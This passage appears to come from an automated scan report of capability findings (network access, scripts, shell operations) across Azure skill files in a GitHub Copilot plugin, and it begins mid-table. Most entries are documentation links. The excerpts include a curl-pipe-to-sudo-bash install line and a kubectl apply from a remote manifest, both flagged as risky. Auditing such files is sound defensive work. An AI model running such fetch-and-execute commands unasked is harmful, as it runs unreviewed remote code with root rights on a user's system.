    | SQL Database | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers/databases?pivots=deployment-language-bicep) | [SQL Database overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-ove
  • Network accessline 16
    | MySQL Flexible Server | [2023-12-30](https://learn.microsoft.com/azure/templates/microsoft.dbformysql/flexibleservers?pivots=deployment-language-bicep) | [MySQL overview](https://learn.microsoft.com/azure/mysql/flexible-server/overview) |
  • Network accessline 17
    | PostgreSQL Flexible Server | [2024-08-01](https://learn.microsoft.com/azure/templates/microsoft.dbforpostgresql/flexibleservers?pivots=deployment-language-bicep) | [PostgreSQL overview](https://learn.microsoft.com/azure/postgresql/flexibl

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/messaging.md

  • Network accessline 11
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microso
  • Network accessline 12
    |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](
  • Network accessline 13
    | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](https://learn.microsoft.com/azure/event-grid/overview) | [Naming rules](https
  • Network accessline 14
    | Event Hub | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.eventhub/namespaces?pivots=deployment-language-bicep) | [Event Hubs overview](https://learn.microsoft.com/azure/event-hubs/event-hubs-about) | [Naming rules](h
  • Network accessline 15
    | Service Bus | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.servicebus/namespaces?pivots=deployment-language-bicep) | [Service Bus overview](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-messagin

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/monitoring.md

  • Network accessline 10
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/mic
  • Network accessline 11
    |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights o
  • Network accessline 12
    | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights overview](https://learn.microsoft.com/azure/azure-monitor/app/app-insights-ove
  • Network accessline 13
    | Log Analytics | [2025-02-01](https://learn.microsoft.com/azure/templates/microsoft.operationalinsights/workspaces?pivots=deployment-language-bicep) | [Log Analytics overview](https://learn.microsoft.com/azure/azure-monitor/logs/log-analyt

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-connectivity.md

  • Network accessline 14
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.
  • Network accessline 15
    |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](ht
  • Network accessline 16
    | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](https://learn.microsoft.com/azure/bastion/bastion-overview) | [Naming rules](ht
  • Network accessline 17
    | Azure Firewall | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/azurefirewalls?pivots=deployment-language-bicep) | [Firewall overview](https://learn.microsoft.com/azure/firewall/overview) | [Naming rules](https
  • Network accessline 18
    | DNS Zone | [2018-05-01](https://learn.microsoft.com/azure/templates/microsoft.network/dnszones?pivots=deployment-language-bicep) | [Azure DNS overview](https://learn.microsoft.com/azure/dns/dns-overview) | [Naming rules](https://learn.mic
  • Network accessline 19
    | VPN Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworkgateways?pivots=deployment-language-bicep) | [VPN Gateway overview](https://learn.microsoft.com/azure/vpn-gateway/vpn-gateway-about-vpn
  • Network accessline 20
    | Private DNS Zone | [2024-06-01](https://learn.microsoft.com/azure/templates/microsoft.network/privatednszones?pivots=deployment-language-bicep) | [Private DNS overview](https://learn.microsoft.com/azure/dns/private-dns-overview) | [Naming
  • Network accessline 21
    | Private Endpoint | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/privateendpoints?pivots=deployment-language-bicep) | [PE overview](https://learn.microsoft.com/azure/private-link/private-endpoint-overview) | [

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-core.md

  • Network accessline 15
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsof
  • Network accessline 16
    |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](
  • Network accessline 17
    | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](https://learn.microsoft.com/azure/virtual-network/virtual-networks-overview) 
  • Network accessline 18
    | Subnet | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks/subnets?pivots=deployment-language-bicep) | [Subnets](https://learn.microsoft.com/azure/virtual-network/virtual-network-manage-subnet) | [
  • Network accessline 19
    | NSG | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networksecuritygroups?pivots=deployment-language-bicep) | [NSG overview](https://learn.microsoft.com/azure/virtual-network/network-security-groups-overview) 
  • Network accessline 20
    | Route Table | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/routetables?pivots=deployment-language-bicep) | [Traffic routing](https://learn.microsoft.com/azure/virtual-network/virtual-networks-udr-overview) | 
  • Network accessline 21
    | Network Interface | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networkinterfaces?pivots=deployment-language-bicep) | [NIC overview](https://learn.microsoft.com/azure/virtual-network/virtual-network-network-
  • Network accessline 22
    | Public IP | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/publicipaddresses?pivots=deployment-language-bicep) | [Public IP overview](https://learn.microsoft.com/azure/virtual-network/ip-services/public-ip-addr
  • Network accessline 23
    | NAT Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/natgateways?pivots=deployment-language-bicep) | [NAT Gateway overview](https://learn.microsoft.com/azure/nat-gateway/nat-overview) | [Naming rules](h

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/networking-traffic.md

  • Network accessline 12
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft
  • Network accessline 13
    |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](htt
  • Network accessline 14
    | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](https://learn.microsoft.com/azure/api-management/api-management-key-concepts) | 
  • Network accessline 15
    | Application Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/applicationgateways?pivots=deployment-language-bicep) | [App Gateway overview](https://learn.microsoft.com/azure/application-gateway/overview
  • Network accessline 16
    | Front Door | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cdn/profiles?pivots=deployment-language-bicep) | [Front Door overview](https://learn.microsoft.com/azure/frontdoor/front-door-overview) | [Naming rules](https
  • Network accessline 17
    | Load Balancer | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/loadbalancers?pivots=deployment-language-bicep) | [LB overview](https://learn.microsoft.com/azure/load-balancer/load-balancer-overview) | [Naming r

harness/github-copilot/plugins/azure-cloud-development/skills/azure-enterprise-infra-planner/references/resources/security.md

  • Network accessline 10
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyv
  • Network accessline 11
    |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://l
  • Network accessline 12
    | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://learn.microsoft.com/azure/key-vault/general/overview) | [Naming rules](https:/
  • Network accessline 13
    | Managed Identity | [2024-11-30](https://learn.microsoft.com/azure/templates/microsoft.managedidentity/userassignedidentities?pivots=deployment-language-bicep) | [Managed identities](https://learn.microsoft.com/entra/identity/managed-ident

harness/github-copilot/plugins/azure-cloud-development/skills/azure-infrastructure/scripts/bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 154
    echo "Install missing tools:"         echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 155
    echo "  terraform: brew install terraform"         echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"         echo "  kubectl:   az aks install-cli"
  • Dangerous shell operationline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 156
    echo "  azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 309
    CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name)     ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1)     KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 311
    KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1)
  • Network accessline 364
    log_step "Installing ArgoCD..."     kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
  • Network accessline 365
    kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml

harness/github-copilot/plugins/azure-cloud-development/skills/azure-infrastructure/scripts/platform-bootstrap.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 536
    echo "Access URLs:"         echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 537
    echo "  ArgoCD:    https://${argocd_url}"
  • Network accessline 538
    echo "  Backstage: https://${backstage_url}"
  • Network accessline 539
    echo "  Grafana:  https://${grafana_url}"
  • Dangerous shell operationline 591
    rm -f "$CHECKPOINT_FILE"

harness/github-copilot/plugins/azure-cloud-development/skills/azure-pricing/SKILL.md

  • Network accessline 35
    GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview
  • Network accessline 38
    Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r
  • Network accessline 107
    | URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 108
    | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi
  • Network accessline 109
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. |
  • Network accessline 110
    | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. |
  • Network accessline 190
    - [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview)
  • Network accessline 191
    - [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 192
    - [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)

harness/github-copilot/plugins/azure-cloud-development/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md

  • Network accessline 3
    > Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 4
    > Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/)
  • Network accessline 5
    > Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995)
  • Network accessline 133
    - [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management)
  • Network accessline 134
    - [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
  • Network accessline 135
    - [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)

harness/github-copilot/plugins/azure-cloud-development/skills/import-infrastructure-as-code/SKILL.md

  • Network accessline 67
    | Source | URL or pattern | | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` |
  • Network accessline 68
    | --- | --- | | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` | | Terraform Pattern Modules | `https://raw.githubusercon
  • Network accessline 69
    | Terraform Resource Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformResourceModules.csv` |
  • Network accessline 70
    | Terraform Pattern Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformPatternModules.csv` |
  • Network accessline 71
    | Terraform Utility Modules | `https://raw.githubusercontent.com/Azure/Azure-Verified-Modules/refs/heads/main/docs/static/module-indexes/TerraformUtilityModules.csv` |
  • Network accessline 72
    | Registry namespace | `https://registry.terraform.io/namespaces/Azure` |
  • Network accessline 73
    | Registry module | `https://registry.terraform.io/modules/Azure/<module>/azurerm/latest` |
  • Network accessline 74
    | GitHub module | `https://github.com/Azure/terraform-azurerm-avm-res-{service}-{resource}` |
  • Network accessline 75
    | README | `https://raw.githubusercontent.com/Azure/terraform-azurerm-avm-res-{service}-{resource}/refs/heads/main/README.md` |
  • Network accessline 76
    | AVM index | `https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes` |
  • Network accessline 219
    - [Azure Verified Modules index (Terraform)](https://github.com/Azure/Azure-Verified-Modules/tree/main/docs/static/module-indexes)
  • Network accessline 220
    - [Terraform AVM Registry namespace](https://registry.terraform.io/namespaces/Azure)

harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-graph/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-graph/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql-graph/SKILL.md

  • Network accessline 49
    - **Cluster**: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 136
    Use icons from `https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/`:
  • Network accessline 207
    let auth_mapping = '{"node_types":[{"type":"SrcIp","id":"SrcIp","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic).svg"},
  • Network accessline 224
    let mail_mapping = '{"node_types":[{"type":"EmailMessage","id":"Message","key":"Subject","props":["EnvTime","Subject","Verdict"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Media-Fil
  • Network accessline 239
    let suspicious_domain_mapping = '{"node_types":[{"type":"IP","id":"IP","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic)
  • Network accessline 256
    let proc_mapping = '{"node_types":[{"type":"Process","id":"Proc","key":"ProcessName","props":["ProcessName","ProcessCommandLine","ProcessHash"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-

harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql-graph/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql-graph/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql/SKILL.md

  • Network accessline 51
    **Public example cluster** (functions pre-deployed): - Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 52
    - Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/github-copilot/plugins/azure-data-development/skills/azure-kusto-irql/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/github-copilot/plugins/azure-data-development/skills/azure-storage/SKILL.md

  • Network accessline 89
    - Blob storage patterns and lifecycle -> [Blob Storage documentation](https://learn.microsoft.com/azure/storage/blobs/storage-blobs-overview)
  • Network accessline 90
    - File shares and Azure File Sync -> [Azure Files documentation](https://learn.microsoft.com/azure/storage/files/storage-files-introduction)
  • Network accessline 91
    - Queue patterns and poison handling -> [Queue Storage documentation](https://learn.microsoft.com/azure/storage/queues/storage-queues-introduction)

harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/sdk-usage.md

  • Network accessline 36
    service = BlobServiceClient(account_url="https://ACCOUNT.blob.core.windows.net/", credential=DefaultAzureCredential())
  • Network accessline 47
    const client = new BlobServiceClient("https://ACCOUNT.blob.core.windows.net/", new DefaultAzureCredential());
  • Network accessline 58
    var client = new BlobServiceClient(new Uri("https://ACCOUNT.blob.core.windows.net/"), new DefaultAzureCredential());
  • Network accessline 70
    BlobServiceClient client = new BlobServiceClientBuilder()     .endpoint("https://ACCOUNT.blob.core.windows.net/")
  • Network accessline 71
    .endpoint("https://ACCOUNT.blob.core.windows.net/")
  • Network accessline 90
    func main() {     cred, _ := azidentity.NewDefaultAzureCredential(nil)     client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil)
  • Network accessline 92
    client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil)
  • Network accessline 104
    let credential = DeveloperToolsCredential::new(None)?; let blob_client = BlobClient::new(     "https://ACCOUNT.blob.core.windows.net/",
  • Network accessline 105
    let blob_client = BlobClient::new(     "https://ACCOUNT.blob.core.windows.net/",     "my-container",
  • Network accessline 106
    "https://ACCOUNT.blob.core.windows.net/",

harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-blob-ts.md

  • Network accessline 12
    import { BlobServiceClient } from "@azure/storage-blob"; import { DefaultAzureCredential } from "@azure/identity"; const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());

harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-file-share-ts.md

  • Network accessline 12
    import { ShareServiceClient } from "@azure/storage-file-share"; import { DefaultAzureCredential } from "@azure/identity"; const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());

harness/github-copilot/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-queue-ts.md

  • Network accessline 12
    import { QueueServiceClient } from "@azure/storage-queue"; import { DefaultAzureCredential } from "@azure/identity"; const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/.gitignore

  • Access to secretsline 23
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/architecture-guidance-sources.md

  • Network accessline 32
    | ID | Document | URL | Purpose | |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents |
  • Network accessline 33
    |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | | A2 | Well-Architected Framework | https://learn.microso
  • Network accessline 34
    | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents |
  • Network accessline 35
    | A2 | Well-Architected Framework | https://learn.microsoft.com/en-us/azure/architecture/framework/ | Security/reliability/performance/cost/operations principles |
  • Network accessline 36
    | A3 | Cloud Adoption Framework / Landing Zone | https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/ | Enterprise governance, network topology, subscription structure |
  • Network accessline 37
    | A4 | Azure AI/ML Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/ | AI/ML workload reference architecture hub |
  • Network accessline 38
    | A5 | Basic Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/basic-azure-ai-foundry-chat | Basic Foundry-based chatbot structure |
  • Network accessline 39
    | A6 | Baseline AI Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/baseline-openai-e2e-chat | Foundry chatbot enterprise baseline (including network isolation) |
  • Network accessline 40
    | A7 | RAG Solution Design Guide | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/rag/rag-solution-design-and-evaluation-guide | RAG pattern design guide |
  • Network accessline 41
    | A8 | Microsoft Fabric Overview | https://learn.microsoft.com/en-us/fabric/get-started/microsoft-fabric-overview | Fabric platform overview and workload understanding |
  • Network accessline 42
    | A9 | Fabric Governance / Adoption | https://learn.microsoft.com/en-us/power-bi/guidance/fabric-adoption-roadmap-governance | Fabric governance, adoption roadmap |
  • Network accessline 48
    | Document | URL | Notes | |----------|-----|-------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |
  • Network accessline 50
    | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/azure-dynamic-sources.md

  • Network accessline 13
    | Service | MS Docs URL | |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts |
  • Network accessline 14
    |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searc
  • Network accessline 15
    | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts |
  • Network accessline 16
    | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searchservices |
  • Network accessline 17
    | Storage Account | https://learn.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts |
  • Network accessline 18
    | Key Vault | https://learn.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults |
  • Network accessline 19
    | Virtual Network | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/virtualnetworks |
  • Network accessline 20
    | Private Endpoints | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privateendpoints |
  • Network accessline 21
    | Private DNS Zones | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privatednszones |
  • Network accessline 22
    | Fabric | https://learn.microsoft.com/en-us/azure/templates/microsoft.fabric/capacities |
  • Network accessline 23
    | Data Factory | https://learn.microsoft.com/en-us/azure/templates/microsoft.datafactory/factories |
  • Network accessline 24
    | Application Insights | https://learn.microsoft.com/en-us/azure/templates/microsoft.insights/components |
  • Network accessline 25
    | ML Workspace (Hub) | https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/workspaces |
  • Network accessline 33
    https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}
  • Network accessline 42
    | Verification Method | URL / Command | |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models |
  • Network accessline 43
    |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | | Azure CLI (existing resources) | `az cognitiveservices account list-models --name "<NAME>" 
  • Network accessline 44
    | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models |
  • Network accessline 55
    | Verification Method | URL | |--------------------|-----| | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns |
  • Network accessline 57
    | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns |
  • Network accessline 67
    | Verification Method | URL | |--------------------|-----| | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ |
  • Network accessline 69
    | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ |
  • Network accessline 77
    | Source | URL | Purpose | |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |
  • Network accessline 78
    |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | | What's New in Azure | Per-service What's New pages in Docs | Feature change verification |
  • Network accessline 79
    | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/bicep-generator.md

  • Network accessline 21
    **Verification Methods (in priority order): ** 1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models
  • Network accessline 22
    1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models
  • Network accessline 48
    ### Always Fetch (Dynamic)
  • Network accessline 68
    1. **Notify the user **: "This service is outside the v1 default scope. It will be generated on a best-effort basis by referencing MS Docs." 2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure
  • Network accessline 69
    2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}` and fetch
  • Network accessline 70
    3. **Identify resource type/required properties **: Confirm the resource type and required properties from the fetched Docs 4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to conf
  • Network accessline 71
    4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to confirm groupId/DNS Zone

harness/github-copilot/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/phase1-advisor.md

  • Network accessline 162
